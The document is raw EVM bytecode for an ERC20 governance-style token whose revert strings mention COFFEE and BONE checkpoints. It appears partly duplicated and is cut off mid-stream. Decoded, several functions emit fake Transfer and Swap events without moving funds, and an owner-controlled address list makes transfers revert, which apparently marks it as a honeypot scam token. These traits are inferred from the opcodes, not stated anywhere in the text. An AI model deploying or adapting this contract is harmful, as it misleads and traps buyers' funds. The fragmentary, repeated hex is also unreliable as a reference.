180910390a3505050565b611e1b611c42565b73ffffffffffffffffffffffffffffffffffffffff16611e39611476565b73ffffffffffffffffffffffffffffffffffffffff1614611e8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e86906136d7565b60405180910390fd5b565b6000611e9d8484611ad3565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114611f175781811015611f09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f0090613743565b60405180910390fd5b611f168484848403611c4a565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611f8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f83906137d5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611ffb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff290613867565b60405180910390fd5b6120068383836124c8565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561208d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612084906138f9565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806121c15750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561221d5760011515600560009054906101000a900460ff1615151461221c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122139061393f565b60405180910390fd5b5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161227a9190612d7a565b60405180910390a361228d8484846124cd565b50505050565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600061230284610c20565b905082600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f60405160405180910390a46123fe8284836124d2565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561250e5750600081115b1561276e57600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614612640576000600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff16116125b157600061261e565b600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001846125ff9190613366565b63ffffffff1663ffffffff168152602001908152602001600020600101545b90506000838261262e919061395f565b905061263c86848484612773565b5050505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461276d576000600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff16116126de57600061274b565b600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600060018461272c9190613366565b63ffffffff1663ffffffff168152602001908152602001600020600101545b90506000838261275b91906132a0565b905061276985848484612773565b5050505b5b505050565b600061279743604051806060016040528060368152602001613a8760369139612a76565b905060008463ffffffff1611801561283557508063ffffffff16600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001876127ff9190613366565b63ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16145b156128af5781600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001876128899190613366565b63ffffffff1663ffffffff16815260200190815260200160002060010181905550612a1f565b60405180604001604052808263ffffffff16815260200183815250600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008663ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908363ffffffff160217905550602082015181600101559050508363ffffffff1660018561296e9190613993565b63ffffffff16116129b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129ab90613a3d565b60405180910390fd5b6001846129c19190613993565b600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051612a67929190613a5d565b60405180910390a25050505050565b600064010000000083108290612ac2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ab99190612b5c565b60405180910390fd5b5082905092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612b06578082015181840152602081019050612aeb565b60008484015250505050565b6000601f19601f8301169050919050565b6000612b2e82612acc565b612b388185612ad7565b9350612b48818560208601612ae8565b612b5181612b12565b840191505092915050565b60006020820190508181036000830152612b768184612b23565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612bb382612b88565b9050919050565b612bc381612ba8565b8114612bce57600080fd5b50565b600081359050612be081612bba565b92915050565b6000819050919050565b612bf981612be6565b8114612c0457600080fd5b50565b600081359050612c1681612bf0565b92915050565b60008060408385031215612c3357612c32612b7e565b5b6000612c4185828601612bd1565b9250506020612c5285828601612c07565b9150509250929050565b60008115159050919050565b612c7181612c5c565b82525050565b6000602082019050612c8c6000830184612c68565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f840112612cb757612cb6612c92565b5b8235905067ffffffffffffffff811115612cd457612cd3612c97565b5b602083019150836020820283011115612cf057612cef612c9c565b5b9250929050565b60008060008060608587031215612d1157612d10612b7e565b5b600085013567ffffffffffffffff811115612d2f57612d2e612b83565b5b612d3b87828801612ca1565b94509450506020612d4e87828801612c07565b9250506040612d5f87828801612c07565b91505092959194509250565b612d7481612be6565b82525050565b6000602082019050612d8f6000830184612d6b565b92915050565b600060208284031215612dab57612daa612b7e565b5b6000612db984828501612bd1565b91505092915050565b6000819050919050565b612dd581612dc2565b82525050565b6000602082019050612df06000830184612dcc565b92915050565b600080600060608486031215612e0f57612e0e612b7e565b5b6000612e1d86828701612bd1565b9350506020612e2e86828701612bd1565b9250506040612e3f86828701612c07565b9150509250925092565b600060ff82169050919050565b612e5f81612e49565b82525050565b6000602082019050612e7a6000830184612e56565b92915050565b60008060208385031215612e9757612e96612b7e565b5b600083013567ffffffffffffffff811115612eb557612eb4612b83565b5b612ec185828601612ca1565b92509250509250929050565b612ed681612ba8565b82525050565b6000602082019050612ef16000830184612ecd565b92915050565b600063ffffffff82169050919050565b612f1081612ef7565b82525050565b6000602082019050612f2b6000830184612f07565b92915050565b60008083601f840112612f4757612f46612c92565b5b8235905067ffffffffffffffff811115612f6457612f63612c97565b5b602083019150836020820283011115612f8057612f7f612c9c565b5b9250929050565b60008060008060008060608789031215612fa457612fa3612b7e565b5b600087013567ffffffffffffffff811115612fc257612fc1612b83565b5b612fce89828a01612ca1565b9650965050602087013567ffffffffffffffff811115612ff157612ff0612b83565b5b612ffd89828a01612ca1565b9450945050604087013567ffffffffffffffff8111156130205761301f612b83565b5b61302c89828a01612f31565b92509250509295509295509295565b6000806040838503121561305257613051612b7e565b5b600061306085828601612bd1565b925050602061307185828601612bd1565b9150509250929050565b61308481612ef7565b811461308f57600080fd5b50565b6000813590506130a18161307b565b92915050565b600080604083850312156130be576130bd612b7e565b5b60006130cc85828601612bd1565b92505060206130dd85828601613092565b9150509250929050565b60006040820190506130fc6000830185612f07565b6131096020830184612d6b565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061315757607f821691505b60208210810361316a57613169613110565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b6000819050919050565b60006131ce6131c96131c48461319f565b6131a9565b612be6565b9050919050565b6131de816131b3565b82525050565b60006080820190506131f960008301876131d5565b6132066020830186612d6b565b6132136040830185612d6b565b61322060608301846131d5565b95945050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061326382612be6565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361329557613294613229565b5b600182019050919050565b60006132ab82612be6565b91506132b683612be6565b92508282019050808211156132ce576132cd613229565b5b92915050565b7f424f4e453a3a6765745072696f72566f7465733a206e6f74207965742064657460008201527f65726d696e656400000000000000000000000000000000000000000000000000602082015250565b6000613330602783612ad7565b915061333b826132d4565b604082019050919050565b6000602082019050818103600083015261335f81613323565b9050919050565b600061337182612ef7565b915061337c83612ef7565b9250828203905063ffffffff81111561339857613397613229565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133d882612ef7565b91506133e383612ef7565b9250826133f3576133f261339e565b5b828204905092915050565b60006080820190506134136000830187612d6b565b61342060208301866131d5565b61342d60408301856131d5565b61343a6060830184612d6b565b95945050505050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061349f602583612ad7565b91506134aa82613443565b604082019050919050565b600060208201905081810360008301526134ce81613492565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613531602683612ad7565b915061353c826134d5565b604082019050919050565b6000602082019050818103600083015261356081613524565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006135c3602483612ad7565b91506135ce82613567565b604082019050919050565b600060208201905081810360008301526135f2816135b6565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613655602283612ad7565b9150613660826135f9565b604082019050919050565b6000602082019050818103600083015261368481613648565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006136c1602083612ad7565b91506136cc8261368b565b602082019050919050565b600060208201905081810360008301526136f0816136b4565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b600061372d601d83612ad7565b9150613738826136f7565b602082019050919050565b6000602082019050818103600083015261375c81613720565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006137bf602583612ad7565b91506137ca82613763565b604082019050919050565b600060208201905081810360008301526137ee816137b2565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613851602383612ad7565b915061385c826137f5565b604082019050919050565b6000602082019050818103600083015261388081613844565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006138e3602683612ad7565b91506138ee82613887565b604082019050919050565b60006020820190508181036000830152613912816138d6565b9050919050565b50565b6000613929600083612ad7565b915061393482613919565b600082019050919050565b600060208201905081810360008301526139588161391c565b9050919050565b600061396a82612be6565b915061397583612be6565b925082820390508181111561398d5761398c613229565b5b92915050565b600061399e82612ef7565b91506139a983612ef7565b9250828201905063ffffffff8111156139c5576139c4613229565b5b92915050565b7f434f464645453a3a5f7772697465436865636b706f696e743a206e657720636860008201527f65636b706f696e74206578636565647320333220626974730000000000000000602082015250565b6000613a27603883612ad7565b9150613a32826139cb565b604082019050919050565b60006020820190508181036000830152613a5681613a1a565b9050919050565b6000604082019050613a726000830185612d6b565b613a7f6020830184612d6b565b939250505056fe434f464645453a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473a2646970667358221220f3a5a9d39f68e9c568374f7ea8cf738e3500bbd241674f1b23fcc58da0a2ab9b64736f6c63430008120033

0x608060405234801561001057600080fd5b50600436106101fb5760003560e01c8063715018a61161011a578063a457c2d7116100ad578063beabacc81161007c578063beabacc8146105fa578063dd62ed3e14610616578063e7a324dc14610646578063f1127ed814610664578063f2fde38b14610695576101fb565b8063a457c2d71461054e578063a7dec3811461057e578063a9059cbb1461059a578063b4b5ea57146105ca576101fb565b80637ecebe00116100e95780637ecebe00146104c65780638da5cb5b146104f657806395d89b4114610514578063a1c617f514610532576101fb565b8063715018a61461045457806377a1736b1461045e578063782d6fe11461047a5780637aac697b146104aa576101fb565b8063313ce567116101925780635c19a95c116101615780635c19a95c146103bc5780636fcfff45146103d857806370a08231146104085780637111a99414610438576101fb565b8063313ce567146103225780633950935114610340578063477e194414610370578063587cde1e1461038c576101fb565b806319ab453c116101ce57806319ab453c1461028857806320606b70146102a457806323b872dd146102c25780632f54bf6e146102f2576101fb565b806306fdde0314610200578063095ea7b31461021e5780630ca12b3d1461024e57806318160ddd1461026a575b600080fd5b6102086106b1565b6040516102159190612b5c565b60405180910390f35b61023860048036038101906102339190612c1c565b610743565b6040516102459190612c77565b60405180910390f35b61026860048036038101906102639190612cf7565b610766565b005b61027261099b565b60405161027f9190612d7a565b60405180910390f35b6102a2600480360381019061029d9190612d95565b6109a5565b005b6102ac6109f1565b6040516102b99190612ddb565b60405180910390f35b6102dc60048036038101906102d79190612df6565b610a15565b6040516102e99190612c77565b60405180910390f35b61030c60048036038101906103079190612d95565b610a44565b6040516103199190612c77565b60405180910390f35b61032a610a9a565b6040516103379190612e65565b60405180910390f35b61035a60048036038101906103559190612c1c565b610aa3565b6040516103679190612c77565b60405180910390f35b61038a60048036038101906103859190612e80565b610ada565b005b6103a660048036038101906103a19190612d95565b610b87565b6040516103b39190612edc565b60405180910390f35b6103d660048036038101906103d19190612d95565b610bf0565b005b6103f260048036038101906103ed9190612d95565b610bfd565b6040516103ff9190612f16565b60405180910390f35b610422600480360381019061041d9190612d95565b610c20565b60405161042f9190612d7a565b60405180910390f35b610452600480360381019061044d9190612f87565b610c69565b005b61045c610d5f565b005b61047860048036038101906104739190612e80565b610d73565b005b610494600480360381019061048f9190612c1c565b610efd565b6040516104a19190612d7a565b60405180910390f35b6104c460048036038101906104bf9190612cf7565b6112d2565b005b6104e060048036038101906104db9190612d95565b61145e565b6040516104ed9190612d7a565b60405180910390f35b6104fe611476565b60405161050b9190612edc565b60405180910390f35b61051c61149f565b6040516105299190612b5c565b60405180910390f35b61054c60048036038101906105479190612cf7565b611531565b005b61056860048036038101906105639190612c1c565b6116bc565b6040516105759190612c77565b60405180910390f35b61059860048036038101906105939190612cf7565b611733565b005b6105b460048036038101906105af9190612c1c565b611967565b6040516105c19190612c77565b60405180910390f35b6105e460048036038101906105df9190612d95565b61198a565b6040516105f19190612d7a565b60405180910390f35b610614600480360381019061060f9190612df6565b611a69565b005b610630600480360381019061062b919061303b565b611ad3565b60405161063d9190612d7a565b60405180910390f35b61064e611b5a565b60405161065b9190612ddb565b60405180910390f35b61067e600480360381019061067991906130a7565b611b7e565b60405161068c9291906130e7565b60405180910390f35b6106af60048036038101906106aa9190612d95565b611bbf565b005b6060600680546106c09061313f565b80601f01602080910402602001604051908101604052809291908181526020018280546106ec9061313f565b80156107395780601f1061070e57610100808354040283529160200191610739565b820191906000526020600020905b81548152906001019060200180831161071c57829003601f168201915b5050505050905090565b60008061074e611c42565b905061075b818585611c4a565b600191505092915050565b60005b848490508110156109945784848281811061078757610786613170565b5b905060200201602081019061079c9190612d95565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d82260008686600060405161082294939291906131e4565b60405180910390a3600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1685858381811061087657610875613170565b5b905060200201602081019061088b9190612d95565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516108d09190612d7a565b60405180910390a3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516109799190612d7a565b60405180910390a3808061098c90613258565b915050610769565b5050505050565b6000600454905090565b6109ad611e13565b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b600080610a20611c42565b9050610a2d858285611e91565b610a38858585611f1d565b60019150509392505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60006012905090565b600080610aae611c42565b9050610acf818585610ac08589611ad3565b610aca91906132a0565b611c4a565b600191505092915050565b610ae2611e13565b60005b82829050811015610b8257600060026000858585818110610b0957610b08613170565b5b9050602002016020810190610b1e9190612d95565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610b7a90613258565b915050610ae5565b505050565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b610bfa3382612293565b50565b600c6020528060005260406000206000915054906101000a900463ffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60005b86869050811015610d5657848482818110610c8a57610c89613170565b5b9050602002016020810190610c9f9190612d95565b73ffffffffffffffffffffffffffffffffffffffff16878783818110610cc857610cc7613170565b5b9050602002016020810190610cdd9190612d95565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef858585818110610d2757610d26613170565b5b90506020020135604051610d3b9190612d7a565b60405180910390a38080610d4e90613258565b915050610c6c565b50505050505050565b610d67611e13565b610d716000612404565b565b610d7b611e13565b60005b82829050811015610ef857600160026000858585818110610da257610da1613170565b5b9050602002016020810190610db79190612d95565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16838383818110610e5457610e53613170565b5b9050602002016020810190610e699190612d95565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925610ed0868686818110610eb657610eb5613170565b5b9050602002016020810190610ecb9190612d95565b610c20565b604051610edd9190612d7a565b60405180910390a38080610ef090613258565b915050610d7e565b505050565b6000438210610f41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3890613346565b60405180910390fd5b6000600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff1603610fad5760009150506112cc565b82600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184610ffc9190613366565b63ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16116110a957600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001836110839190613366565b63ffffffff1663ffffffff168152602001908152602001600020600101549150506112cc565b82600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008063ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16111561112a5760009150506112cc565b60008060018361113a9190613366565b90505b8163ffffffff168163ffffffff161115611266576000600283836111619190613366565b61116b91906133cd565b826111769190613366565b90506000600d60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff168152602001600182015481525050905086816000015163ffffffff1603611235578060200151955050505050506112cc565b86816000015163ffffffff16101561124f5781935061125f565b60018261125c9190613366565b92505b505061113d565b600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206001015493505050505b92915050565b60005b84849050811015611457578484828181106112f3576112f2613170565b5b90506020020160208101906113089190612d95565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d82260008686600060405161138e94939291906131e4565b60405180910390a3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168585838181106113e2576113e1613170565b5b90506020020160208101906113f79190612d95565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161143c9190612d7a565b60405180910390a3808061144f90613258565b9150506112d5565b5050505050565b600e6020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600780546114ae9061313f565b80601f01602080910402602001604051908101604052809291908181526020018280546114da9061313f565b80156115275780601f106114fc57610100808354040283529160200191611527565b820191906000526020600020905b81548152906001019060200180831161150a57829003601f168201915b5050505050905090565b60005b848490508110156116b55784848281811061155257611551613170565b5b90506020020160208101906115679190612d95565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d82285600080876040516115ec94939291906133fe565b60405180910390a384848281811061160757611606613170565b5b905060200201602081019061161c9190612d95565b73ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161169a9190612d7a565b60405180910390a380806116ad90613258565b915050611534565b5050505050565b6000806116c7611c42565b905060006116d58286611ad3565b90508381101561171a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611711906134b5565b60405180910390fd5b6117278286868403611c4a565b60019250505092915050565b60005b848490508110156119605784848281811061175457611753613170565b5b90506020020160208101906117699190612d95565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d82285600080876040516117ee94939291906133fe565b60405180910390a3600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118979190612d7a565b60405180910390a38484828181106118b2576118b1613170565b5b90506020020160208101906118c79190612d95565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119459190612d7a565b60405180910390a3808061195890613258565b915050611736565b5050505050565b600080611972611c42565b905061197f818585611f1d565b600191505092915050565b600080600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff16116119f4576000611a61565b600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600183611a429190613366565b63ffffffff1663ffffffff168152602001908152602001600020600101545b915050919050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611ac69190612d7a565b60405180910390a3505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b7fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b600d602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900463ffffffff16908060010154905082565b611bc7611e13565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611c36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c2d90613547565b60405180910390fd5b611c3f81612404565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611cb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb0906135d9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611d28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1f9061366b565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611e069190612d7a565b60405180910390a3505050565b611e1b611c42565b73ffffffffffffffffffffffffffffffffffffffff16611e39611476565b73ffffffffffffffffffffffffffffffffffffffff1614611e8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e86906136d7565b60405180910390fd5b565b6000611e9d8484611ad3565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114611f175781811015611f09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f0090613743565b60405180910390fd5b611f168484848403611c4a565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611f8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f83906137d5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611ffb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff290613867565b60405180910390fd5b6120068383836124c8565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561208d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612084906138f9565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806121c15750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561221d5760011515600560009054906101000a900460ff1615151461221c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122139061393f565b60405180910390fd5b5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161227a9190612d7a565b60405180910390a361228d8484846124cd565b50505050565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600061230284610c20565b905082600b60008673ffffffffffffffffffffffffffffffffffffffff1